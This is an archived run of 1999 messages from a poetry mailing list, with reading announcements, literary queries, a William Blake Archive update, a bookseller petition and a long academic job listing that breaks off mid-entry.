BAKED ALASKA

from My Childhood with Food

It is possible You can take whole parts of land chunk of ice cream (pink) ice cream
mysterious meringue Stuff it in a hot box hot How is the trick of it baking
igloos with kin inside
They are they not real ice cream white and pink
It's complicated

Rachel Loden

↑ Index

116. lee ann brown
Brown, Mayer, Guest in SF
Mon 8 Mar 1999

(Tuesday)
March 9: Reading: Lee Ann Brown, Barbara Guest & Bernadette Mayer,

New College of California, Cultural Center,
777 Valencia Street
San Francisco, CA,

7pm, $5.

[redacted]

Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

Lee Ann Brown
Tender Buttons
PO Box 13, Cooper Station
New York, NY 10276

[redacted]

↑ Index

117. David Clippinger
mla panel
Mon 8 Mar 1999

I have put together a panel for next year's (Chicago) MLA--"A Buddhist Renaissance: Buddhist Writing/Writing Buddhism"-- but because one of the panelists has had to withdraw, I am in need of one or two panelists who would be interested in either presenting a paper or chairing the panel.

Please send me an email as soon as possible if you are interested.

All best,
David Clippinger

David Clippinger, Ph.D.
Assistant Professor of English
Penn State University
100 University Drive
Monaca, PA 15061-2799
[redacted] (phone)
[redacted] (fax)

+ + + +

Mind is the forerunner of all actions.
All deeds are led by mind, created by mind.
If one speaks or acts with a corrupt mind, suffering follows,
as a wheel follows the hoof of an ox pulling a cart.

Mind is the forerunner of all actions.
All deeds are led by mind, created by mind.
If one speaks or acts with a serene mind, happiness follows,
As surely as one's shadow.

Buddha, Dhammapada

+ + + +

Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

120. james loucks
Re: Kathleen Raine?
Tue 9 Mar 1999

Here's her address from Gale Research/Contemporary Authors database:

Addresses: Home: 47 Paultons Sq., London SW3, England.

Ms. Raine would be 91 in June (I do not know if she's still alive.) She took an MA from Cambridge in 1929, in a cohort that included William Empson, Ronald Bottrall, Humphrey Jennings, Charles Madge (whom she married after divorcing Hugh Sykes Davies), Michael Redgrave, James Reeves, et al. -- all poets before turning to other things (Jennings made documentaries, Madge did Mass Observation, and we all know what Empson and Redgrave got into.) In researching Bronowski, Mr. Sandefur might want to see bios and memoirs on these other figures as well as Ms. Raine.

All best wishes,

Jim

At 04:58 PM 3/6/1999 -0500, you wrote: >Could someone in Poetics land help this enterprising scholar? You could >respond directly to him, though I'd like to know the info too, and perhaps >others would. Snowing hard here, Sylvester
>
>>From: [redacted]
>>Date: Fri, 5 Mar 1999 02:26:00 EST
>>To: [redacted]
>>Mime-Version: 1.0

>>Subject: Kathleen Raine
>>
>>Greetings! I have been scouring the Internet all night trying to find a way to >>contact the poet Kathleen Raine. (In fact, I'm not entirely certain she's >>still alive!) I am working on a biography of the late poet/scientist Jacob >>Bronowski, whom she knew in her days at Cambridge University, and would like >>to get in contact with her. I thought maybe someone at the National Poetry >>Foundation would know how I could reach her. Any suggestions?
>>
>>TM:$
>>
>>-----
>>Timothy Sandefur
>>6128 N. Cedar Ave.
>>Rialto, CA 92377
>>
>
James F. Loucks
Associate Professor of English
The Ohio State University at Newark
1179 University Drive
Newark, OH 43055-1797
[redacted] (voice mail)
fax: [redacted] or [redacted]
e-mail: [redacted]

↑ Index

121. Tom Beckett

Stray

Tue 9 Mar 1999

Life is mostly lie.
Add in the sound of air escaping.

↑ Index

122. franklin bruno
pagemothers?
Tue 9 Mar 1999

Folks--

Despite my best intentions, I ended up having too much work last weekend to justify the two hour drive each way to UCSD. I'm sure I'll regret this for the rest of my life (especially as I'm highly unlikely to see B. Mayer read under other circumstances)--to hone this growing feeling of guilt and missed opportunity, is anyone ready to post a report on the Pagemothers conference/readings?

fjb

↑ Index

123. Matt Kirschenbaum
Blake Archive's March Update
Tue 9 Mar 1999

---

9 March 1999

The editors of the William Blake Archive <http://www.iath.virginia.edu/blake/> are pleased to announce the publication of three new electronic editions of Blake's most popular work, _Songs of Innocence and of Experience_. They are of copies C, F, and L -- none has been reproduced before now.

Songs copy C is one of the first copies of the combined _Songs_. Along with copies B, D, and E, it was formed in 1794 of _Innocence_ plates printed in raw sienna on both sides of the leaf in 1789 and _Experience_ plates lightly color printed in yellow ochre in the same format in 1794. By this time, Blake had decided to move plates 34-36 ("The Little Girl Lost" and "The Little Girl Found") to _Experience_, but since plate 34 was printed on the verso of the leaf with plate 26 ("A Dream"), plate 26 is read in this copy, as well as in copies B and D, as an _Experience_ poem. And, like copies B and D, copy C is missing plate 52 ("To Tirzah") but has the small vignette known as plate a (five cherubs carrying a naked figure), one of Blake's earliest relief etchings used here as a tailpiece. Copy C is in the Rosenwald Collection, Library of Congress.

Bibliographically, copy F is even more interesting. It, too, consists of two sections printed differently and at different times. Its _Innocence_ plates were printed in green ink on both sides of the leaf in 1789, probably before the raw sienna printing. Its _Experience_ plates were heavily color printed on one side of the leaf in 1794, before those in copy C, possibly while _Experience_ was still in progress. The impressions of _Experience_ were printed with those now in _Songs_ copies G, H, and T, which are all missing plates 39, 44, 45, and 48.

Together, these four plates form one sheet of copper. The fact that all four plates are missing from all four copies suggests that the plates were not yet part of _Experience_ at the time of this printing. These four color-printed copies of _Experience_ appear to have been intended as autonomous publications. At any rate, there are no extant sets of _Innocence_ impressions printed in this style, copies G and H remain without _Innocence_, and copies F and T were assembled by someone other than Blake.

Songs copy L, like copy F, is in the Yale Center for British Art. Unlike copies C and F, though, its two parts were printed together in a uniform style, dark brown ink on one side of the leaf, ca. 1795. It has all 54 plates, including plate 52, that make up the combined _Songs_ and is numbered by Blake 1-54.

All of these editions have newly edited SGML-encoded texts and all are fully searchable for both text and images and supported by the unique Inote and ImageSizer applications described in our previous updates. We now have twenty-nine copies of sixteen illuminated books in the Archive. We will soon be adding two more copies of _The Marriage of Heaven and Hell_ and an in-depth illustrated Tour highlighting the Archive's features and some ways to use its resources. We will continue to add new electronic editions of illuminated books throughout the spring and summer.

Morris Eaves, Robert N. Essick, Joseph Viscomi, Editors
Matthew Kirschenbaum, Project Manager
The William Blake Archive

↑ Index

124. MAXINE CHERNOFF

Re: Elmslie on TV; Chernoff, Bromige, Nguyen

Tue 9 Mar 1999

Actually, it's the "he" of the playlet that doesn't like the sound that the "she" makes. Interesting that the listener's interpretation of the piece was the opposite (and certainly supportable, of course).

Maxine Chernoff

On Mon, 8 Mar 1999, Rachel Loden wrote:

> There was a fun double-reading by Maxine Chernoff and Paul Hoover at a jazz club where we all drenched ourselves in Belgian beer. Maxine read dialogue-poems about a 'fictitious' husband of hers and the odd sounds he makes while [censored]
>
> Maxine Chernoff's very funny playlet THE SOUND is available in _Jacket_:
>
> http://jacket.zip.com.au/jacket04/chernoff.html

> Great to see that her LEAP YEAR DAY : NEW AND SELECTED POEMS is back in print from Jensen/Daniels (available from SPD).
>
> Another very funny playlet : David Bromige's IS POETRY COMMUNICATION? on the The East Village Poetry Web's Poetries of Canada site (which you should check out anyway for its rich and various fare):
>
> http://www.geocities.com/~theeastvillage/vc.htm
>
> Am reliably informed that Kenward Elmslie's opera LIZZIE BORDEN will be on PBS's Live from Lincoln Center Wednesday, March 24, at 8 p.m.
>
> A poem from Hoa Nguyen's DARK ($7 from 2925 Higgins Street, Austin, TX 78722):
>
> BAKED ALASKA
>
> from My Childhood with Food
>
> It is possible You can
> take whole parts of land chunk
> of ice cream (pink) ice cream
> mysterious meringue
> Stuff it in a hot box hot How
> is the trick of it baking
> igloos with kin inside
> They are they not real ice
> cream white and pink
> It's complicated
>
> Rachel Loden

↑ Index

125. John Tranter
burning blackly
Tue 9 Mar 1999

I'd like to know where I could find material on Paul Blackburn, particularly his poetry and his connection with the starting of the Poetry Project at St Mark's in 1966.
Thanks,
JT

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

↑ Index

126. pete spence

Re: YOUR help needed!! - Russian artist under prosecution for his art

Tue 9 Mar 1999

> Subject:
> RHIZOME_RAW: YOUR help needed!! - Russian artist under prosecution for his art
> Date:
> Sun, 07 Mar 1999 00:24:10 +0300
> From:
> alexei shulgin <[redacted]>
> To:
> [redacted], [redacted], [redacted], [redacted], [redacted]
>
> [apologies for cross-postings!]
>
> Moscow artist Avdei Ter-Oganian is about to go to prison for his performance "Young Anti-Christ" which he made in last December at "Art Manege" Fair in Moscow.

>You can see one of Avdei's projects at: http://www.cs.msu.su/wwwart/caw
>
>Alexei Shulgin
>+
>
>mr and maybe you should also post this info out to the mail-art network!!! pete spence

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

127. George Bowering
Re: Adolfo Bioy Casares
Tue 9 Mar 1999

Thanks to Pierre for the sad news about Bioy Casares. It has been expected for a while; he has long long been my favourite LatinAmerican writer. Once my wqife refused to read past the midpoint of _A Plan of Escape_ because she was afraid she would have to give up her mind for the sake of a book. Exactly right, I thought. I try to read him in Spanish and then I read him in English.Once a magazine in Ontario, knowing of my interest, tried to get me to translate a new story tghat had appeared in a Buenos Aires newspaper, and I tried, but wouldnt do it becauyse I was afraid of not being good enough translator. Thank goodness there is a lot of work from him, and several years ago _The Review_ that magazine that studies LatinAmerican writing (is it in Washington?) did an issue on Bioy.

In looking for his books, be patient. A lot of bookstores will file him under C, just as they file Garcia Marquez under M.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

128. A. Jenn Sondheim
BOOKS (fwd)
Tue 9 Mar 1999

CIRCULATE WIDELY

Petition to protect small booksellers. This petition is important to the small independent booksellers. Please take a moment to sign it. If you are the 50th, 100th, 150th signature, please e-mail the petition to the AMERICAN BOOKSELLERS ASSOCIATION, e-mail address [redacted] .

If you want more info, here is a web site: http://web.bookweb.org/m-bin/by_topic?topic_id=37 PETITION TO BLOCK BARNES & NOBLE ACQUISITION OF INGRAM This petition will be sent to the US Congress, Department of Justice and the Federal Trade Commission to block Barnes & Noble's proposed acquisition of the Ingram Book Company, the single largest supplier of books to small bookstores across the country. This acquisition, should it be allowed to take place, is just one more example of the large scale corporate consolidation that has infiltrated every corner of our culture.

As the desire intensifies to increase bottom line profits, no matter what the other consequences, so does the concentration of power in the book industry. Consumers are left with an environment in which fewer and fewer people are deciding which books get published and ultimately, which books Americans can read and buy. Barnes & Noble has already entered into an alliance with the $14 billion media giant, German-owned Bertelsmann AG. Now with Barnes & Noble's proposed acquisition of the billion-dollar Ingram Book Company, there can be little doubt that the book industry is falling prey to the same anticompetitive ills that currently plague computer software and other industries. This deal would make independent bookstores virtually dependent upon their largest competitor for their books. (It is as if Burger King and Wendy's had to buy their French fries from McDonald's).

We need your help. As a patron of independent booksellers, please sign the petition to help us lobby the government to stop this proposed merger.

Please exercise your right as a citizen and tell the government how you feel. We sincerely thank you for your support.

Please add your name to this petition and forward it to as many people as you can. If you want to sign the petition but not send it around, please sign and return it to e-mail address above. IMPORTANT: Do not use the "Forward" utility in your mail program. Instead, cut and paste this message into a NEW E-MAIL, add your name to the bottom of the list, and send it out widely to all your friends and networks. **

1. Meg Gouraud, Canon City CO
2. Garrison Keillor, St. Paul MN.
3. Roy Blount Jr., NY NY
4. Ridley Pearson, Bellevue ID.
5. Amy Tan, San Francisco CA
6. Stewart Wallace, New York NY
7. Richard Einhorn, NY, NY
8. Norman Hollyn, Santa Monica CA
9. JoAnn Hanley, Los Angeles CA
10. Isabel King, Gardena CA
11. Maya Conn, Santa Monica CA
12. Matthew Weinstein, Brooklyn NY
13. Alice Shechter, Brooklyn NY
14. Bj Richards, Oak Park, Il.
15. Susan Salidor, Chicago, IL

16. Heidi Kafka, Chicago, IL
17. David Lavan, Chicago, IL
18. Annissa Anderson, Bend, OR
19. Cheryl Heinrichs, Bend, OR
20. Sean F. Everton, San Jose, CA
21. Deanne L. S. Everton, San Jose, CA
22. Dawn Ramsey, Bend, OR
23. Barbara Boothby, Bellingham, WA
24. Laura Cazares, Santa Barbara, CA
25. Karin Gursky, San Rafael, CA
26. Gregory Hines, San Francisco, CA
27. Hal Conklin, Santa Barbara, CA
28. Daniel Figlo, Santa Barbara, CA 29. Neal Rabin, Santa Barbara, CA
30. Christopher Horner, Venice, CA
31. Luis Watts, Bloomfield Hills, MI
32. Joel Swadesh, USA
33. Jane Prettyman, Santa Barbara, CA
34. Joe Forgy, Texarkana, TX
35. Janet Stevens, Irvine, CA
36. Jeannie Brown, Mission Viejo, CA
37. Patricia Sierra, Toledo, OH
38. Austin Wright, Cincinnati, OH
39. James Wheatley, W. Hartford, CT
40. David Richter, New York, NY
41. John Richetti, Philadelphia, PA
42. Nina Auerbach, Philadelphia, PA 4
43. Catherine Benamou, Ann Arbor, MI
44. Celeste Olalquiaga, NYC
45. Eunice Lipton, NYC
46. Sharon Frost, NYC
47. Allen Eisenberg, NYC
48. Alan Sondheim, NYC

↑ Index

129. Peter Ganick
statement on music
Wed 10 Mar 1999

---

ceramic skeletons in a fear to blot down alive notions dead notions watered from hovering within a space-filled crosswise and famed retaliation of the agreeable innuendo. not recursive as is everything what you infect with amazement on scramblers and fear blotting down alive notions deaf needs for the cruelly rerun re-pasteurized demoted formulaic notions calling themselves sentences something neutral. if and when. who and why. what the for makes of theatre inverting pristine x-ray mentality not too late in the morning, but blotted in amazement of scramblers. some not careful of front and background sound. some too beleaugured to help in an upcoming desertion well-spun with cacti and wildflowers, where help is the mental resistance of precision funneled through a rack-and-pinion steering that is donor-proof. woken through the same ovulation. greased in the bodily fortune that simmers either./or toxicities yoga notifies witnessing itself witness yourself witnessing nowhere becoming itself sleepy mistreatment

↑ Index

130. David Baratier

Pavement Saw Chapbook contest:PANTS

Wed 10 Mar 1999

1998-99 winner of the Pavement Saw Press Chapbook Contest Ruth Anderson Barnett, editor of the Marlboro Review chose PANTS by Shelley Stenhouse. $500 and 25 copies of the winning chapbook will be awarded to the author. The book will be published by May 1st. Shelley lives in NYC. This is her first collection of poems some pieces first appeared in Mudfish.

All contestants who included an SASE will recieve a copy.
Advance orders taken now $5. Instead of $6 plus postage.
Includes exciting retro cover.

The Pavement Saw Press Chapbook Award was established in 1995 to promote writers whose work challenges conventions of contemporary poetry while encouraging multiple readings. Writers world-wide are invited to participate. Each year, one manuscript is selected by a writer with a thorough familiarity of the small press realm. Publication, a prize of five hundred dollars, and ten percent of the book run is awarded to the winner.

I will post a poem from this in the upcoming week. Thanks to everyone who participated.

Be well

David Baratier, Editor, Pavement Saw Press
PO Box 6291
Columbus OH 43206

↑ Index

131. Catherine Daly
Re: PageMothers Report
Wed 10 Mar 1999

I was hoping that the talks would be posted to the UCSD site (http://orpheus.ucsd.edu/lit/pagemothers.html).

I had to leave early and missed the readings, too.

Regards,
Catherine Daly
[redacted]

↑ Index

132. Maria Damon (Maria Damon)
fwd: job lists
Wed 10 Mar 1999

Supplement to AWP Job List Online -- March 10, 1999

The following jobs are extremely time sensitive. They were received after the copy deadline for the March/April 1999 print edition of AWP Job List.

Louisiana State University

Louisiana State University's creative writing program anticipates the appointment of a visiting fiction writer at the assistant or associate level for the fall and spring, 1999-2000. Writers applying should have an MFA,]or other terminal degree, and at least one book of fiction in print, preferably more. Teaching experience a must. Graduate and undergraduate classes, salary competitive. Send cover letter, vita, letters of recommendation, and a writing sample to Dr. Malcolm Richardson, Chair, Department of English, Louisiana State University, Baton Rouge, LA 70803. Materials will be accepted through April 9, 1999, or until a candidate is selected. If you desire your writing sample returned, please send along an SASE. Please tell us if you plan to attend the AWP convention in Albany. EOE

University of Alabama

The Program in Creative Writing at the University of Alabama announces an extension of its search and invites applications for an Associate or advanced Assistant Professor to teach fiction writing in a thriving MFA program beginning Fall, 1999. We are seeking a fiction writer of national reputation with significant book publication and substantial teaching experience for this permanent position. The MFA is the preferred degree. Expertise in the writing of other genres is desirable but not required. Typically the teaching load for a productive faculty member is two classes per semester. Salary and rank will be commensurate with experience. We currently enroll about 200 undergraduates in creative writing and some 60 MFA students. The writing program has excellent support from the English Department and the University. The faculty in the Program in Creative Writing is comprised of two poets (Robin Behn and Bruce Smith) and three fiction writers (Michael Martone, Sandy Huss, and the person to be hired). An endowed chair brings two more writers a year to campus, each for a semester in residence, and the endowed Bankhead Visiting Writer's Series annually sponsors a dozen or more readings and short residencies. Alabama is home to both a campus literary magazine and the nationally known Black Warrior Review. About 95% of our MFA students, who come from all over the United States, enjoy fellowships or teaching assistantships, and many are publishing well. Review of applications continues until the position is filled. Priority for AWP convention interviews will be given to those applications received by March 31. Send letter, vita, dossier and writing samples to: Michael Martone, Search Committee Chair, Department of English, University of Alabama, P.O. Box 870244, Tuscaloosa, AL 35487-0244. The University of Alabama is an Equal Opportunity Affirmative Action employer.

Indiana University

Assistant Professor, one-year visitor in Creative Writing (fiction) for 1999-2000. Salary competitive. We are looking for someone prepared to participate fully in an active graduate and undergraduate Creative Writing Program. Teaching load (2/2) includes a graduate topics course, two undergraduate workshops, and an undergraduate literature course, plus relevant committee work. Applicants must have published one book of fiction. Send application, c.v., book, letters of recommendation and a representative sample of teaching materials by April 15 to: Maura Stanton, Director, Creative Writing Program, Ballantine Hall 442, 1020 E. Kirkwood Avenue, Bloomington, IN 47405-7103. Minority candidates strongly encouraged to apply. AA/EOE Employer.

Converse College

Sabbatical replacement in English. A 9 month non-renewable position beginning in September 1999. Ph.D. preferred; ABD considered. While the primary teaching responsibilities will be Composition and Introduction to Literary Types, some upper-division teaching will be included. Candidates with expertise in 19th-century British literature are especially encouraged to apply. Five to seven course load over the nine month period; salary competitive. Please send letter of application and c.v. with names and phone numbers of 3 references to Karen Carmean, Chair, Dept. of English, Converse College, Spartanburg, SC 29302. Converse College is a private, liberal arts women's college. Women and minorities are encouraged to apply.

Proposals Now Accepted for AWP in Kansas City

March 30-April 1, 2000
Kansas City Marriott Downtown
Kansas City, Missouri

Come celebrate the new century in the town thats famous for blues, jazz, barbecue, steaks--and, of course, writing. This year a major emphasis of the conference is The New Century; Whither the Written Word? Your proposals are welcome. Please visit the AWP website at <http://web.gmu.edu/department/awp> for more details, or to fill out a presentation proposal form. If you would like a form mailed to you, please contact AWP at [redacted], e-mail <[redacted]>, or write to Roxanne French-Thornhill, Associated Writing Programs, Tallwood House, MSN 1E3, George Mason University, Fairfax, VA 22030.

AWP Job List Online -- March/April 1999 -- Academic Jobs 1/2

Arkansas

* Arkansas Tech University

Tenure-track assistant professor to teach creative writing & composition. PhD preferred, MFA required, significant fiction publication expected, & background in rhetoric helpful. Annual teaching load will include one or two undergraduate creative writing courses in our BFA program & six or seven general education composition & literature courses. Occasional graduate courses in creative writing or rhetoric are possible. Demonstrable commitment to undergraduate general education instruction is required. Send application letter, resume, & a dossier including three current letters of reference by March 29, 1999 to Carl Brucker, Head, Dept. of English, Arkansas Tech University, Russellville, AR 72801. AA/EOE

Arizona

Phoenix College

The Creative Writing Program at Phoenix College invites applications for a one-year appointment as Writer in Residence for the 1999-2000 academic year. We are one of ten Maricopa County Community Colleges, serving a metropolitan area of approximately 2.8 million people. Phoenix College is an urban campus with an enrollment of 11,500 students. We offer a certificate of completion in creative writing with coursework in fiction, poetry, screenwriting, playwriting, creative nonfiction, bilingual creative writing, & writing for children. With an enrollment of approximately 150 writers, our program is a significant center for the literary arts in Phoenix, offering an impressive reading series & substantial noncredit workshops, as well as credit courses. A Writer in Residence will teach the equivalent of 15 credit hours per semester. She/he will be expected to teach both creative writing & composition & should be eager to work with a diverse student population. MA or MFA required, with substantial creative publications. Knowledge of & teaching experience in Chicano literature desired. Entry level salary approximately $35,000 plus benefits. The Maricopa County Community College District is an EO/AA institution. Send letter of application & c.v. by April 1st to Dr. Lisa Miller, Director, Creative Writing Program, Phoenix College, 1202 W. Thomas Rd., Phoenix, AZ 85013. For more information, call [redacted].

* Yavapai College

Yavapai College, a growing multi-campus community college located 90 miles north of Phoenix, sits in the beautiful mountains of Arizona at an elevation of 5,300 feet in Prescott, the States first capital. Prescott offers an ideal year-round climate & a quality of life that includes mountains out your back door & a town reminiscent of the Old West. Prescott is part of a tri-city area with a population of 60,000, of which Yavapai College is a central focus for performing arts & entertainment. The College offers its faculty the opportunity for tremendous personal & professional development & seeks applicants who have a desire for innovation & student-centered teaching. A positive, critical-thinking approach is a must. Since service to our students is our highest priority, as a member of our team you can expect to participate in innovative methods & flexible scheduling. Applicants must have proven technological skills which must include the ability to promote & utilize computer technology into the teaching & learning experience. The ability to interact in a team environment & demonstrated strengths in collaborative issue resolution is required. Additionally, a proven track record with alternative delivery systems such as lab-based, project-based, online, or distance delivery is also required. Project-management & prior teaching experience a plus. If you possess these competencies as well as a minimum of a Masters Degree in the related teaching field, we invite your response for the following positions which will begin Fall 1999: English Instructor (2 Positions Available). Responsible for teaching freshman & sophomore level English & literature courses. Currency in composition theory & learner-centered pedagogy as well as a track record with alternative delivery methods required. Applicants should send a letter of application with a resume & a list of three recent professional references to: Randy Glazer, Director of Human Resources, Yavapai College, 1100 E. Sheldon St., Prescott, AZ 86301. Although positions are open until filled, for full consideration please submit materials by April 1, 1999. Visit us on our Web site at: <www.yavapai.cc.az.us/hr.nsf> or call our 24-hour Job Hotline at [redacted]. Yavapai College is an AA/EOE seeking to diversify its workforce & encourages applicants from all traditions & underrepresented groups to contact us & voluntarily self-identify through the application process. (CHE)

California

* Antioch University-Los Angeles

Antioch University-Los Angeles, a fully accredited adult campus of Antioch University, invites applications for a dual appointment, full-time faculty position, in the BA in Liberal Arts & the low-residency MFA in Creative Writing programs. The appointment is set to begin July 1, 1999. Teaching responsibilities include one course per quarter in the BA program, & in the MFA program, a minimum of two learning activities, one genre workshop, & one reading per residency. Advising responsibilities include working with creative writing students in the BA program (approx. 12-15) & mentoring up to 5 fiction students per semester in the MFA program. Additional students may be assigned in the MFA program, but this work would be considered overload & compensated accordingly. The successful candidate will spend a minimum of 17 hours per week on campus (12 for the BA program, 5 for the MFA). Actual hours will be determined in consultation with the program chairs & dedicated to chair-identified contributions to the program, such as admissions work, field study oversight, scholarship solicitation, & leadership in building both programs. The faculty member is expected to participate in campus faculty meetings & other campus meetings whenever possible. The faculty member will continue to pursue professional development & publication, conduct readings in public venues, and, where appropriate, engage in community service in consultation with program chairs. The faculty member will stay current with literature in his/her field & continue to develop new courses for the program. This is a full-time, 12-month core faculty position with salary dependent on placement on the Antioch faculty salary scale. Excellent benefits. Given that this position bridges two programs, the total work hours per week will be determined in consultation with the program chairs, & the hours may vary during weeks of the academic calendar. Qualifications: MFA or PhD in related field required; experience teaching & mentoring creative writing students; familiarity with an online teaching environment; publications of high quality in fiction; familiarity with & contacts in local & national writing community; high value placed on ability to work in a participatory university environment & within flexible & creative academic programs; high value placed on a candidate with demonstrated interest in the relation of arts, politics, & society. To apply, please send cover letter, including three references, along with a resume to: BA/MFA Faculty Search, Antioch University LA, 13274 Fiji Way, Marina del Ray, CA 90292-7090. Applications will be reviewed beginning May 1, 1999, & until a suitable candidate is selected. Antioch University is an EOE & does not discriminate based on race, religion, ethnicity, creed, nationality, disability, or sexual orientation. Antioch University LA has a strong commitment to the principles of diversity. In this spirit, we welcome applicants from a broad spectrum of people including women, members of ethnic minorities, & physically challenged individuals.

California State University, Chico

The English Dept. at California State University, Chico seeks to fill a one-year position in Creative Writing/Fiction. Teaching load 3 courses per semester; likely course assignments include Beginning & Advanced Creative Writing & Modern Novel. The exact assignment is dependent on departmental needs & individuals background. Minimum qualifications: 1) MFA or PhD in English/Creative Writing, 2) demonstrated excellence in teaching at the university level, & 3) publication in literary magazines. Candidates with at least one published book of fiction are preferred. As a university that educates students of various ethnic & cultural backgrounds, we value a diverse faculty & staff, & seek to create as diverse a pool of candidates as possible. Salary & appointment level commensurate with qualifications & experience. The Dept. of English has a strong undergraduate Creative Writing Minor, & is lead campus for a new Consortium MFA in Creative Writing. Position begins Fall 1999. Application deadline: April 2. Send letter, dossier, & recommendations to Karen Hatch, Chair, English Dept., California State University, Chico, CA 95929-0830. Chico is an EEO/AA/ADA/IRCA employer.

* California State University, Chico

The English Dept. at California State University, Chico seeks to fill a tenure-track position in Technical Writing. Teaching load is four courses, or their equivalent, per semester. The person filling this position will coordinate the Technical Writing Certificate Program & supervise technical writing interns. Teaching assignments will include technical writing courses & may include courses in the candidates other area(s) of competence. The exact assignment is dependent upon departmental needs & the background of the individual. PhD in English or related field such as Rhetoric or Technical Communication, academic preparation & experience in technical writing, demonstrated excellence in teaching at the University level, evidence of research & publication, & a commitment to program development required. Evidence of successful program coordination highly desirable. As a university that educates students of various ethnic & cultural backgrounds, we value a diverse faculty & staff & seek to create as diverse a pool of candidates as possible. Asst. Prof. $37-$40K with benefits. Position begins Fall 1999. Applications must be received by April 12, 1999. Send letter, dossier, & recs. to Karen Hatch, Chair, English Dept., California State University, Chico, CA 95929-0830. Phone [redacted] or fax [redacted]. Chico is an EEO/AA/ADA employer. (MLA)

University of California, Berkeley

Pending budgetary resources, the Dept. of Rhetoric at the University of California, Berkeley, will have available 1 or 2 positions as lecturer for the 1999-2000 academic year, with the possibility of extension. Percentage of time will vary depending upon departmental needs. Minimum full-time salary $32,268; salary commensurate with experience. Successful candidates will teach courses in one of the two following areas: 1) the history of rhetoric with competence in the early modern period &/or political & legal discourse; 2) rhetorical approaches to comparative cultural studies, postcolonial or translation theory. Preference will be given to candidates with teaching experience at the university level. C.V., dossier, & supporting materials by April 1, 1999 to David J. Cohen, Acting Chair, Dept. of Rhetoric, 7408 Dwinelle Hall #2670, University of California, Berkeley, CA 94720-2670. The University of California is an AA/EOE. (MLA)

University of California, San Diego

We invite applications for a lecturer position in the Revelle College Humanities Program, which, pending budgetary approval, will begin July 1, 1999 for one year with possibility of extension. Lecturer will assist in teaching introductory courses in Western cultural & intellectual history with strong emphasis on development of analytical writing skills. PhD & teaching experience required; experience in interdisciplinary humanities education & emphasis on premodern European periods preferred. Doctoral work may be in History, Literature, or Philosophy. Salary commensurate with experience & based on published UC pay scale. Noncitizens should state immigration status in c.v. Send letter of application, c.v., dossier, & writing sample(s) to Chair of Search Committee, Dept. of Literature 0410, University of California, San Diego, 9500 Gilman Drive, La Jolla, CA 92093-0410. Enclose self-addressed postcard for acknowledgement of application & SASE for return of writing sample(s). Closing date is April 12, 1999. EOE/AA (MLA)

Georgia

The Savannah College of Art & Design

The Savannah College of Art & Design is seeking qualified faculty candidates who demonstrate professional knowledge & have college teaching experience for the 1999-2000 school year. Professor of Liberal Arts (Composition). PhD required specifically in Composition & Rhetoric. Professor of Liberal Arts (Creative Writing). PhD required in Creative Writing or PhD in English with an MFA in Creative Writing. Deadline for applications is May 1, 1999. Send cover letter, resume, & three references to: Human Resources, The Savannah College of Art & Design, P.O. Box 3146, Savannah, GA 31402; fax to [redacted], or e-mail <[redacted]>. Women & minorities are encouraged to apply. AA/EOE (CHE)

* Augusta State University

An interdisciplinary department seeks an Assistant Professor with a PhD or an MA in English & extensive experience in creative writing (especially dramatic writing). Tenurable. The successful candidate will also have a background in either journalism or public relations. Duties will include teaching courses in the areas of specialization, as well as freshman composition & interdisciplinary humanities courses. By March 30, 1999, applicants should send a letter of application, a detailed c.v., & three letters of recommendation to Lillie B. Johnson, Chair, Dept. of Languages, Literature, & Communications; Augusta State University; 2500 Walton Way, Augusta, GA 30904. Augusta State University is an EO/AA Employer. (MLA)

Illinois

Knox College

Knox College is seeking a poet for a tenure-track position beginning Sept. 1999. Appointment will be at the Asst. Professor level. Basic teaching responsibilites in our trimester calendar (two courses per ten week term) include: beginning poetry writing, poetry workshop, modern &/or contemporary poetry, a section of composition, & additional courses in the candidates area of special interest & strength, which might include any period of English, American, or world literature, individual authors, poetry translation workshop, environmental literature, womens studies, gender studies, cultural studies, multidisciplinary studies, creativity studies, or any of the various configurations of theory. Additional responsibilities may include active involvement with our undergraduate literary magazine CATCH (recipient of two CCLM National Collegiate Championships) & organization of an on-going readers series. Knox College has sustained a nationally recognized undergraduate creative writing major for the past half century, & a substantial percentage of our majors pursue advanced degrees in the nations most acclaimed graduate writing programs. Qualifications for this position include MFA or PhD, an established record or strong indication of significant publications, & a demonstrated commitment to undergraduate teaching. Application deadline is April 15. Mail letter of application, c.v., & dossier to Robin Metz, Chair, Dept. of English & Director, Program in Creative Writing, Box K-50, Knox College, Galesburg, IL 61401. In keeping with its 162 year commitment to equal opportunity, Knox College particularly welcomes applications from members of underrepresented groups.

Indiana

* University of Southern Indiana

The University of Southern Indiana invites applications for a full-time, non-tenure position, with possibility of renewal, as Instructor in Creative Writing with an emphasis in fiction. Duties include teaching classes in English composition & creative writing & assisting with the annual Ropewalk Writers Conference & Southern Indiana Review. MFA required; some publication desirable. The University is committed to excellence in teaching, scholarship, & professional activity, & service to the University & the community. Application deadline is April 16, 1999, but extended until position filled. Women/minorities encouraged to apply. Submit letter of application, c.v., & names/addresses of three professional references to: Dr. Thomas Wilhelmus, Acting Chair, English Dept., University of Southern Indiana, 8600 University Blvd., Evansville, IN 47712. AA/EOE

Iowa

* Iowa Writers Workshop

Half-time assistant professor tenure-track position in Poetry. Candidates must have a minimum of two collections of poetry with publishers of national repute, & have already achieved a substantial measure of national prominence. He or she must have at least four years experience teaching poetry at the graduate level, preferably in an MFA program, & demonstrated excellence in teaching. Candidates should also have nonfiction prose publications in nationally recognized venues. Qualified candidates should send resume & letter of inquiry to Frank Conroy, Director, Iowa Writers Workshop, 102 Dey House, University of Iowa, Iowa City, IA 52242-1000. The University of Iowa is an EEO/AA employer. Women & minorities are encouraged to apply.

Kansas

* Barton County Community College

Barton County Community College, Fort Riley, KS, seeks a FT English/Philosophy Instructor. For application & further details, write to: Jerry Hellinga, P.O. Box 2463, Fort Riley, KS 66442. Position closes April 5, 1999. EOE (Wichita Eagle)

Kentucky

* Lindsey Wilson College

